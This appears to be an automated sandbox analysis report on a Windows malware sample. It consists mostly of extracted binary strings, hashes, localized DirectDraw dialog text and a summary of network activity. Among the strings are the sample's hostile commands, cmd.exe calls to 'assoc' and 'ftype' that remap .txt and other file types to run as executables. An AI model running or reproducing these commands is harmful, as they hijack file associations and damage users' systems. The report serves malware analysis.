-H}}0077CCKKOORRUUXX^^ppnn
!7SZZ>>==@@CCFFHHJJPPbbxxbb
7Rs[[::4477::;;>>BBUUkkxxWW
*GdOO****++..0066GGbbuunnLL###X
AA@@''
""((<<UUff``BB)))E
==OGG//
11HH[[VV<<5550@@@
''>>NNIIK<<jMMM
BBEE**
1K^n||
""55AA??FFFIiii
==KKK66
'9FW44
))7788AA]]],
FFCC--
++8899XXXQ
>>RKK==%%
//66BBttt.
EEJJ66
%%33<<kkkE
,,88RRk$
??YOOGG33
&&11DD.
DDtPPHH22
%%//<<3
GG~SSJJ55""c
##..::1
FFuRRMM<<((h
$$,,77+
PPBB22p%%H
!!**,,
>>)JJRRMMBB44{))!!
$$,,--//DDF
DDSJJPPLLCC<<33**%%
!!##%%**..11,,00c
<<LFFLL
QQLLFFBB>><<::8877::<<====66
00..Wiii
@@PCCFFHH
JJMMMMKKIIDD
==9911Xz77
))77DDQQ__kkppqqooee
((88EEPP[[ffppxx
++::HHVVeeqq}}yy_AA
JJJt))^!!&&..55CCOO]]mmzz
DDD"$$ %%--//2244::DDPPZZhhtt
NNN$%%""%%**++**((%%''1199EEQQ__kkxx
ZZZ"$$!!%%$$""
--55BBNN[[gguu
--9977==IIVVbbllxx
CbbZnn@@==FFRR^^hhss||
&KqddBBCCOOZZddnnyyzz
OO7WW?z
BcNNCCLLUU``jjss||zzYY<$$
5Ur^^DDFFPPZZddmmssffd66
(FcMMCCJJSS\\eeeeII/
6UrjjCCCCKKTTZZRRg..
(EcGG<<AAIILL::4
6Uv\\;;77>>99h!!
&FeAA//00''8
3RmNN,,##]
=Up;;d JJ
__::^<<yymm
d++GG__ss{{
b""::OO__ffppxx||
((>>MMWW]]``ddmm}}xx
-H}}0077CCKKOORRUUXX^^ppnn
!7SZZ>>==@@CCFFHHJJPPbbxxbb
7Rs[[::4477::;;>>BBUUkkxxWW
*GdOO****++..0066GGbbuunnLL###X
AA@@''
""((<<UUff``BB)))E
==OGG//
11HH[[VV<<5550@@@
''>>NNIIK<<jMMM
BBEE**
1K^n||
""55AA??FFFIiii
==KKK66
'9FW44
))7788AA]]],
FFCC--
++8899XXXQ
>>RKK==%%
//66BBttt.
EEJJ66
%%33<<kkkE
,,88RRk$
??YOOGG33
&&11DD.
DDtPPHH22
%%//<<3
GG~SSJJ55""c
##..::1
FFuRRMM<<((h
$$,,77+
PPBB22p%%H
!!**,,
>>)JJRRMMBB44{))!!
$$,,--//DDF
DDSJJPPLLCC<<33**%%
!!##%%**..11,,00c
<<LFFLL
QQLLFFBB>><<::8877::<<====66
00..Wiii
@@PCCFFHH
JJMMMMKKIIDD
==9911Xz77
))77DDQQ__kkppqqooee
((88EEPP[[ffppxx
++::HHVVeeqq}}yy_AA
JJJt))^!!&&..55CCOO]]mmzz
DDD"$$ %%--//2244::DDPPZZhhtt
NNN$%%""%%**++**((%%''1199EEQQ__kkxx
ZZZ"$$!!%%$$""
--55BBNN[[gguu
--9977==IIVVbbllxx
CbbZnn@@==FFRR^^hhss||
&KqddBBCCOOZZddnnyyzz
OO7WW?z
BcNNCCLLUU``jjss||zzYY<$$
5Ur^^DDFFPPZZddmmssffd66
(FcMMCCJJSS\\eeeeII/
6UrjjCCCCKKTTZZRRg..
(EcGG<<AAIILL::4
6Uv\\;;77>>99h!!
&FeAA//00''8
3RmNN,,##]
=Up;;d JJ
__::^<<yymm
d++GG__ss{{
b""::OO__ffppxx||
((>>MMWW]]``ddmm}}xx
-H}}0077CCKKOORRUUXX^^ppnn
!7SZZ>>==@@CCFFHHJJPPbbxxbb
7Rs[[::4477::;;>>BBUUkkxxWW
*GdOO****++..0066GGbbuunnLL###X
AA@@''
""((<<UUff``BB)))E
==OGG//
11HH[[VV<<5550@@@
''>>NNIIK<<jMMM
BBEE**
1K^n||
""55AA??FFFIiii
==KKK66
'9FW44
))7788AA]]],
FFCC--
++8899XXXQ
>>RKK==%%
//66BBttt.
EEJJ66
%%33<<kkkE
,,88RRk$
??YOOGG33
&&11DD.
DDtPPHH22
%%//<<3
GG~SSJJ55""c
##..::1
FFuRRMM<<((h
$$,,77+
PPBB22p%%H
!!**,,
>>)JJRRMMBB44{))!!
$$,,--//DDF
DDSJJPPLLCC<<33**%%
!!##%%**..11,,00c
<<LFFLL
QQLLFFBB>><<::8877::<<====66
00..Wiii
@@PCCFFHH
JJMMMMKKIIDD
==9911Xz77
<<<3l44e::FFWWggvv
UUU'88n..99KK\\rr
_ZZ322000022==IIYYjj||
HHG..%%$$
22<<NNaatt6))
II?&&
w00y??DDWWhhzz
~xx &&
"<`YYDDSSeevv}}~QQ1h
5Y}MMOOaarruuTT)''
*OnccMM\\iibbN))
>`}NNUU[[BB
%Lh[[HHHHN
.Pe;;00
1FgPPA--
N##DDdd
55MM\\eeuu
#9}66BBMMSSWWaa}}ww
<\JJ@@@@DDNNkkii
.Qq[[BB55;;[[ssYY
4Vl{AA//JJbbII
55iKK,,
,EP`,,??OO<<
))II>>
";%%66<<n66f!!!
<<MM//N
5544<<<3
GGm''+
++66::nCCC
66zRREEe##)
1199UUU'
>>UUEEf%%*
0066c__3
BBXXIIl,,1
++22HHG
??WWOOx;;J&&5
%%0011LL@
VVLL==11##
!!**220000~xx
''488HHSSQQKKEEBB>>==@@AA>>55--55H
!!//g::CC
GGJJJJFF>>
11++p33-
<<<3l44e::FFWWggvv
UUU'88n..99KK\\rr
_ZZ322000022==IIYYjj||
HHG..%%$$
22<<NNaatt6))
II?&&
w00y??DDWWhhzz
~xx &&
"<`YYDDSSeevv}}~QQ1h
5Y}MMOOaarruuTT)''
*OnccMM\\iibbN))
>`}NNUU[[BB
%Lh[[HHHHN
.Pe;;00
1FgPPA--
N##DDdd
55MM\\eeuu
#9}66BBMMSSWWaa}}ww
<\JJ@@@@DDNNkkii
.Qq[[BB55;;[[ssYY
4Vl{AA//JJbbII
55iKK,,
,EP`,,??OO<<
))II>>
";%%66<<n66f!!!
<<MM//N
5544<<<3
GGm''+
++66::nCCC
66zRREEe##)
1199UUU'
>>UUEEf%%*
0066c__3
BBXXIIl,,1
++22HHG
??WWOOx;;J&&5
%%0011LL@
VVLL==11##
!!**220000~xx
''488HHSSQQKKEEBB>>==@@AA>>55--55H
!!//g::CC
GGJJJJFF>>
11++p33-
<<<3l44e::FFWWggvv
UUU'88n..99KK\\rr
_ZZ322000022==IIYYjj||
HHG..%%$$
22<<NNaatt6))
II?&&
w00y??DDWWhhzz
~xx &&
"<`YYDDSSeevv}}~QQ1h
5Y}MMOOaarruuTT)''
*OnccMM\\iibbN))
>`}NNUU[[BB
%Lh[[HHHHN
.Pe;;00
1FgPPA--
N##DDdd
55MM\\eeuu
#9}66BBMMSSWWaa}}ww
<\JJ@@@@DDNNkkii
.Qq[[BB55;;[[ssYY
4Vl{AA//JJbbII
55iKK,,
,EP`,,??OO<<
))II>>
";%%66<<n66f!!!
<<MM//N
5544<<<3
GGm''+
++66::nCCC
66zRREEe##)
1199UUU'
>>UUEEf%%*
0066c__3
BBXXIIl,,1
++22HHG
??WWOOx;;J&&5
%%0011LL@
VVLL==11##
!!**220000~xx
''488HHSSQQKKEEBB>>==@@AA>>55--55H
!!//g::CC
GGJJJJFF>>
11++p33-
|CC.33KKmm
88[))))FFWWzz
866dOO^^
9oDD::
CWii##
>__LL]]zz
ULL99VVnn
2lxx99NN
>>s2
;1166333
m 22DD1
778FFA
EET$$++;;Z
669GGY::6??
BBAA==11
|CC.33KKmm
88[))))FFWWzz
866dOO^^
9oDD::
CWii##
>__LL]]zz
ULL99VVnn
2lxx99NN
>>s2
;1166333
m 22DD1
778FFA
EET$$++;;Z
669GGY::6??
BBAA==11
|CC.33KKmm
88[))))FFWWzz
866dOO^^
9oDD::
CWii##
>__LL]]zz
ULL99VVnn
2lxx99NN
>>s2
;1166333
m 22DD1
778FFA
EET$$++;;Z
669GGY::6??
BBAA==11
DDDDDD
DDDDDD
DDDDDD
[xe<P(
[xe<P]
&N(W}/eJX-N8eQ`@bv
000000
000000
NfM0$P(
S0n0$Pn0
0L0Lc0f0O0`0U0D0
n0e[0000
O(uY00k0o0
0eW0D0$P0
O(uY00k0o0
NfM0$P]
0xbW0f0]0n0$P0eQRW0f0O0`0U0D0
BE772A5815A5087495005CFAEF05E050
9B38B5EBD92445D673B002A8CBE953D0
4252AC441217A0AB1EBBE9F2C1D5036F
4252AC441217A0AB1EBBE9F2C1D5036F
B538968EC4C5940D395F6FEC4078B080
EE8CDB9E62F6AB53C7C3241B2E3F49ED
CBC3103851B254409688A6F785D9F21A
C5D7ACC95340E068E4007664183DAD7C
D844D4B560FB9CBEE2800DF7C509A63D
FB38C2BA2A06016788A582611FCCC761
D8BF62A792C73BCC152A16EA7A34009F
ECDDAA2994A26F48C74AA459CB903A23
95E2FF5F9B55DC933BA0939EA3D41E0B
1DB684FD96EAC6F83F7C610B0E59BC3C
4F989CDC9DB79932D15CD266D7107495
885BDEB0871A6F42C34B43FE6C4AB3D7
A7AC0723B46256E1910A5249F965B9BA
0A5E5F7BB40DC4473498137A9946EF85
15E63336E13D37EE1ECDFBAE19E8B625
4FE7E777741336685F848A95051C2EC9
E18363315A661FA8603D458E5D5FD1D9
492CB2EBF8AAC15FF665E65D80379296
D1832484991ED384453E78995E4175D1
21F77A36A1618EAB9A390DA2E01D0863
B9EF236F12D844B98FDF59F0B7C4120C
470EC970E94973EB96C25D1932A62A1A
5D5F8C08527E4C31A0ECBE48C638243A
5D5F8C08527E4C31A0ECBE48C638243A
F06DC8A0103C5178C4B9C950B8B27477
E445C5A252AF3CFDD4E5BBD5E54D6F9B
22D8A871C75F29B70D991B50FB96AAED
50526E4D76BD6DDB6A31F400AB630F29
37A1C43EBE517F45664ECD5428CE8B8F
43925761A54C392349255C00B3C24692
F0128F18BC8CE7E6724AFF313F37E6D1
5F1C243B12DABE5E6985983647E6ECAE
4EEECE34F683A7559EF97647E7430A85
8D6351E7D0D0C29455DAA0C7F107F480
C1CA0B766C41FF154300B1A6B7B50A3A
116301B1B8CD53CBEB0A52075782FD8B
04BFCC1283A2B1764A183863D501285C
DB8CED4036769C61E5974994B104DFA9
002B2FF745112EAA9C5CD458FC9E52E7
7C78B874044D5B0E226CA08136B91FE5
61425C48767DFFF647C5FB77A4490C49
C19DC554A92230D7514B1566031ED297
E7E21D215D49E489B87743DDF6B138D2
CBBFEF659B452846127689854DD36818
74C2F94503A5FCD87B780FF46BC9E280
401B456198A124D20B5744556947A7ED
2AC19AE12912C4B4474C9EECB20C5E93
FBAB958F7ACCA1C121B35FB2816D5036
B33F59D6E8ED8F24B271CD17DF0CE81E
FB4745CE04CF3FFE94102F1A01486793
87E3C3A8DD316DEA2EFB505395D6A591
EE256806D9B6E5AF6546507255F69329
2FBFB586479B289BEE3EFD244C0F1AFC
A118AE885AC01E67FDDAE3AAB6CB9CE6
16C366075BB97B9FDCBD1CF6F5C53B6A
34B1E7543B9CBFA1D3FFED6E93341500
FFCCD92000C0FD9AB99ED8CAF81BF673
68463B5B572FD247009EDF960BE78D68
B7C98FE7BEBE2C839A6A397FB0298566
1B5F52A11C503702205D35C927E35D14
14291FAA99B00F3202FB1A6EE6F8F516
F575296E8A105C4E55FA649B87F92C47
22D12E92767050E0546BFFF1C27BFD74
4D273BFE7DA6C4CE86D665FB99630B0D
E36499FAD3A146AE94648B147BD75742
FF0FD214940A0BBBD25DA6F12FA27AF0
8DDBF20958D733484335ADFB392F0E60
5F0D2DF96BA324C2D727FD697EBF8C55
11149B95D41804EEE3213C05E8F3CBA0
E01910A92804A2F63DA9A2D91794BC1C
D49757DDCA80C02C6182E18B9369AA69
5780474257DF838E93753519FEEE2C7C
C112B53D7B9A5989922A36F4AC856D42
67508DACB628BC883BC7B4B1B054223B
6274F0C50A9A64CA50EC1493F09D5FE7
FC61EDA8C68C27A79F5FDC185D18AFEE
ADB12855427111719CC1B0CB89DF5653
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
(&4-27;
(&4-27;
(&4-27;
`\khcq
`\khcq
`\khcq
DirectDraw
MS Shell Dlg
DirectDraw
DirectDraw
DirectDraw
epsat nastaven
obnovovac
frekvence
MS Shell Dlg
Storno
Obnovovac
frekvence
hodnota:
Upozorn
: Tato nastaven
nit pouze zku
ivatel
Chcete-li pou
nastaven
obnovovac
frekvence rozhran
DirectDraw, klepn
te na p
. Jinak klepn
te na p
hodnota a zadejte po
adovanou obnovovac
frekvenci.
Skift af opdateringsfunktion til DirectDraw
MS Shell Dlg
Annuller
Opdateringshastighed
&Standard
Ny &opdateringsv
Advarsel! Kun erfarne brugere b
ndre disse indstillinger.
Klik p
"Standard" for at bruge DirectDraws standardopdatering, eller klik p
"Ny opdateringsv
rdi" og skriv den opdateringshastighed, som du vil bruge.
DirectDraw-Aktualisierungsverhalten
MS Shell Dlg
Abbrechen
Aktualisierungsrate
&Standard
&Wert f
r die Au
erkraftsetzung:
Warnung: Diese Einstellungen sollten nur von fortgeschrittenen Benutzern ge
ndert werden.
Klicken Sie auf "Standard", um das Standardverhalten von DirectDraw zu verwenden, oder klicken Sie auf "Wert f
r die Au
erkraftsetzung", und geben Sie die gew
nschte Aktualisierungsrate ein.
DirectDraw
MS Shell Dlg
DirectDraw
Override DirectDraw Refresh Behavior
MS Shell Dlg
Cancel
Refresh Rate
&Default
&Override Value:
Warning: Only advanced users should change these settings.
Click "Default" to use DirectDraw's default behavior, or click "Override Value" and type the refresh rate that you want to force into the edit box.
Korvaa DirectDraw'n virkistystaajuus
MS Shell Dlg
Peruuta
Virkistystaajuus
&Oletus
&Korvausarvo:
Varoitus: Vain kokeneiden k
jien tulisi muuttaa n
asetuksia.
DirectDraw'n oletusarvoa valitsemalla Oletus tai kirjoita haluamasi virkistystaajuus Korvausarvo-ruutuun.
quence de rafra
chissement DirectDraw
MS Shell Dlg
Annuler
quence de rafra
chissement
&Par d
&Remplacer par la valeur
Attention
: ne modifiez ces param
tres que si vous
tes un utilisateur exp
riment
Cliquez sur "Par d
faut" pour utiliser la fr
quence par d
faut de DirectDraw, ou cliquez sur "Remplacer par la valeur" et entrez une fr
quence de rafra
chissement dans la zone de texte.
DirectDraw
MS Shell Dlg
DirectDraw,
A DirectDraw friss
si viselked
nek fel
MS Shell Dlg
Az &alap
rtelmezett
k haszn
k &fel
Figyelmeztet
s: Ezeket a be
sokat csak gyakorlott felhaszn
A DirectDraw alap
rtelmezett viselked
nek haszn
hoz jel
lje be az "Az alap
rtelmezett
k haszn
lata" lehet
get, vagy "Az
sa" bejel
n megadhatja, hogy milyen friss
ket szeretne haszn
Sostituzione frequenza aggiornamento DirectDraw
MS Shell Dlg
Annulla
Frequenza di aggiornamento
Impostazioni &predefinite
&Sostituisci con:
Avviso: queste impostazioni dovrebbero essere modificate solo da utenti esperti.
Scegliere "Impostazioni predefinite" per utilizzare le impostazioni predefinite di DirectDraw oppure scegliere "Sostituisci con" e immettere nella casella di modifica la nuova frequenza di aggiornamento da impostare.
DirectDraw
MS UI Gothic
DirectDraw
DirectDraw
DirectDraw
DirectDraw-vernieuwingsgedrag wijzigen
MS Shell Dlg
Annuleren
Vernieuwingsfrequentie
&Standaard
Andere &waarde:
Waarschuwing: deze instellingen dienen alleen door ervaren gebruikers te worden gewijzigd.
Kies Standaard als u voor het standaardgedrag van DirectDraw kiest. Kies anders Andere waarde en geef de vernieuwingsfrequentie die u wilt gebruiken in het invoervak op.
Overstyr DirectDraw-oppdateringsoppf
MS Shell Dlg
Avbryt
Oppdateringsfrekvens
&Standard
&Overstyringsverdi:
Advarsel! Bare avanserte brukere b
r endre disse innstillingene.
Klikk Standard for
bruke standardoppf
rselen i DirectDraw, eller Klikk Overstyringsverdi og angi oppdateringsfrekvensen du vil tvinge i redigeringsboksen.
Zmienianie zachowania funkcji od
ania DirectDraw
MS Shell Dlg
Anuluj
stotliwo
&Warto
Ostrze
enie: te ustawienia powinni zmienia
tylko zaawansowani u
ytkownicy.
Kliknij opcj
, aby u
lnego zachowania programu DirectDraw, lub kliknij opcj
i wpisz
stotliwo
ania w polu edycyjnym.
Substituir comportamento de atualiza
o do DirectDraw
MS Shell Dlg
Cancelar
Taxa de atualiza
&Substituir valor:
Aviso: somente usu
rios avan
ados devem alterar estas configura
Clique em 'Padr
o' para usar o comportamento padr
o do DirectDraw ou clique em 'Substituir valor' e digite a taxa de atualiza
o que voc
deseja for
ar na caixa de edi
DirectDraw
MS Shell Dlg
DirectDraw
tt uppdateringsf
rfarande f
r DirectDraw
MS Shell Dlg
Avbryt
Uppdateringsintervall
&Standard
&Eget v
Varning! Endast avancerade anv
ndare b
ndra dessa inst
llningar.
Klicka p
Standard om du vill anv
nda standardv
rden f
r DirectDraw. Klicka p
Eget v
rde och ange uppdateringsintervall om du inte vill anv
nda standardv
DirectDraw Yenileme Davran
ersiz K
MS Shell Dlg
Yenileme H
&Varsay
ersiz K
lma De
: Bu ayarlar
zca ileri d
zey kullan
lar de
tirmeli.
DirectDraw'un varsay
lan davran
kullanmak i
in "Varsay
n ya da "Ge
ersiz K
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
(&4-27;
(&4-27;
(&4-27;
`\khcq
`\khcq
`\khcq
DirectDraw
MS Shell Dlg
DirectDraw
DirectDraw
DirectDraw
epsat nastaven
obnovovac
frekvence
MS Shell Dlg
Storno
Obnovovac
frekvence
hodnota:
Upozorn
: Tato nastaven
nit pouze zku
ivatel
Chcete-li pou
nastaven
obnovovac
frekvence rozhran
DirectDraw, klepn
te na p
. Jinak klepn
te na p
hodnota a zadejte po
adovanou obnovovac
frekvenci.
Skift af opdateringsfunktion til DirectDraw
MS Shell Dlg
Annuller
Opdateringshastighed
&Standard
Ny &opdateringsv
Advarsel! Kun erfarne brugere b
ndre disse indstillinger.
Klik p
"Standard" for at bruge DirectDraws standardopdatering, eller klik p
"Ny opdateringsv
rdi" og skriv den opdateringshastighed, som du vil bruge.
DirectDraw-Aktualisierungsverhalten
MS Shell Dlg
Abbrechen
Aktualisierungsrate
&Standard
&Wert f
r die Au
erkraftsetzung:
Warnung: Diese Einstellungen sollten nur von fortgeschrittenen Benutzern ge
ndert werden.
Klicken Sie auf "Standard", um das Standardverhalten von DirectDraw zu verwenden, oder klicken Sie auf "Wert f
r die Au
erkraftsetzung", und geben Sie die gew
nschte Aktualisierungsrate ein.
DirectDraw
MS Shell Dlg
DirectDraw
Override DirectDraw Refresh Behavior
MS Shell Dlg
Cancel
Refresh Rate
&Default
&Override Value:
Warning: Only advanced users should change these settings.
Click "Default" to use DirectDraw's default behavior, or click "Override Value" and type the refresh rate that you want to force into the edit box.
Korvaa DirectDraw'n virkistystaajuus
MS Shell Dlg
Peruuta
Virkistystaajuus
&Oletus
&Korvausarvo:
Varoitus: Vain kokeneiden k
jien tulisi muuttaa n
asetuksia.
DirectDraw'n oletusarvoa valitsemalla Oletus tai kirjoita haluamasi virkistystaajuus Korvausarvo-ruutuun.
quence de rafra
chissement DirectDraw
MS Shell Dlg
Annuler
quence de rafra
chissement
&Par d
&Remplacer par la valeur
Attention
: ne modifiez ces param
tres que si vous
tes un utilisateur exp
riment
Cliquez sur "Par d
faut" pour utiliser la fr
quence par d
faut de DirectDraw, ou cliquez sur "Remplacer par la valeur" et entrez une fr
quence de rafra
chissement dans la zone de texte.
DirectDraw
MS Shell Dlg
DirectDraw,
A DirectDraw friss
si viselked
nek fel
MS Shell Dlg
Az &alap
rtelmezett
k haszn
k &fel
Figyelmeztet
s: Ezeket a be
sokat csak gyakorlott felhaszn
A DirectDraw alap
rtelmezett viselked
nek haszn
hoz jel
lje be az "Az alap
rtelmezett
k haszn
lata" lehet
get, vagy "Az
sa" bejel
n megadhatja, hogy milyen friss
ket szeretne haszn
Sostituzione frequenza aggiornamento DirectDraw
MS Shell Dlg
Annulla
Frequenza di aggiornamento
Impostazioni &predefinite
&Sostituisci con:
Avviso: queste impostazioni dovrebbero essere modificate solo da utenti esperti.
Scegliere "Impostazioni predefinite" per utilizzare le impostazioni predefinite di DirectDraw oppure scegliere "Sostituisci con" e immettere nella casella di modifica la nuova frequenza di aggiornamento da impostare.
DirectDraw
MS UI Gothic
DirectDraw
DirectDraw
DirectDraw
DirectDraw-vernieuwingsgedrag wijzigen
MS Shell Dlg
Annuleren
Vernieuwingsfrequentie
&Standaard
Andere &waarde:
Waarschuwing: deze instellingen dienen alleen door ervaren gebruikers te worden gewijzigd.
Kies Standaard als u voor het standaardgedrag van DirectDraw kiest. Kies anders Andere waarde en geef de vernieuwingsfrequentie die u wilt gebruiken in het invoervak op.
Overstyr DirectDraw-oppdateringsoppf
MS Shell Dlg
Avbryt
Oppdateringsfrekvens
&Standard
&Overstyringsverdi:
Advarsel! Bare avanserte brukere b
r endre disse innstillingene.
Klikk Standard for
bruke standardoppf
rselen i DirectDraw, eller Klikk Overstyringsverdi og angi oppdateringsfrekvensen du vil tvinge i redigeringsboksen.
Zmienianie zachowania funkcji od
ania DirectDraw
MS Shell Dlg
Anuluj
stotliwo
&Warto
Ostrze
enie: te ustawienia powinni zmienia
tylko zaawansowani u
ytkownicy.
Kliknij opcj
, aby u
lnego zachowania programu DirectDraw, lub kliknij opcj
i wpisz
stotliwo
ania w polu edycyjnym.
Substituir comportamento de atualiza
o do DirectDraw
MS Shell Dlg
Cancelar
Taxa de atualiza
&Substituir valor:
Aviso: somente usu
rios avan
ados devem alterar estas configura
Clique em 'Padr
o' para usar o comportamento padr
o do DirectDraw ou clique em 'Substituir valor' e digite a taxa de atualiza
o que voc
deseja for
ar na caixa de edi
DirectDraw
MS Shell Dlg
DirectDraw
tt uppdateringsf
rfarande f
r DirectDraw
MS Shell Dlg
Avbryt
Uppdateringsintervall
&Standard
&Eget v
Varning! Endast avancerade anv
ndare b
ndra dessa inst
llningar.
Klicka p
Standard om du vill anv
nda standardv
rden f
r DirectDraw. Klicka p
Eget v
rde och ange uppdateringsintervall om du inte vill anv
nda standardv
DirectDraw Yenileme Davran
ersiz K
MS Shell Dlg
Yenileme H
&Varsay
ersiz K
lma De
: Bu ayarlar
zca ileri d
zey kullan
lar de
tirmeli.
DirectDraw'un varsay
lan davran
kullanmak i
in "Varsay
n ya da "Ge
ersiz K

DNS

Name Response Post-Analysis Lookup
dns.msftncsi.com A 131.107.255.255 131.107.255.255
dns.msftncsi.com AAAA fd3e:4f5a:5b81::1 131.107.255.255

TCP

No TCP connections recorded.

UDP

Source Source Port Destination Destination Port
192.168.56.101 53179 224.0.0.252 5355
192.168.56.101 49642 224.0.0.252 5355
192.168.56.101 137 192.168.56.255 137
192.168.56.101 61714 114.114.114.114 53
192.168.56.101 56933 114.114.114.114 53
192.168.56.101 138 192.168.56.255 138

HTTP & HTTPS Requests

No HTTP requests performed.

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.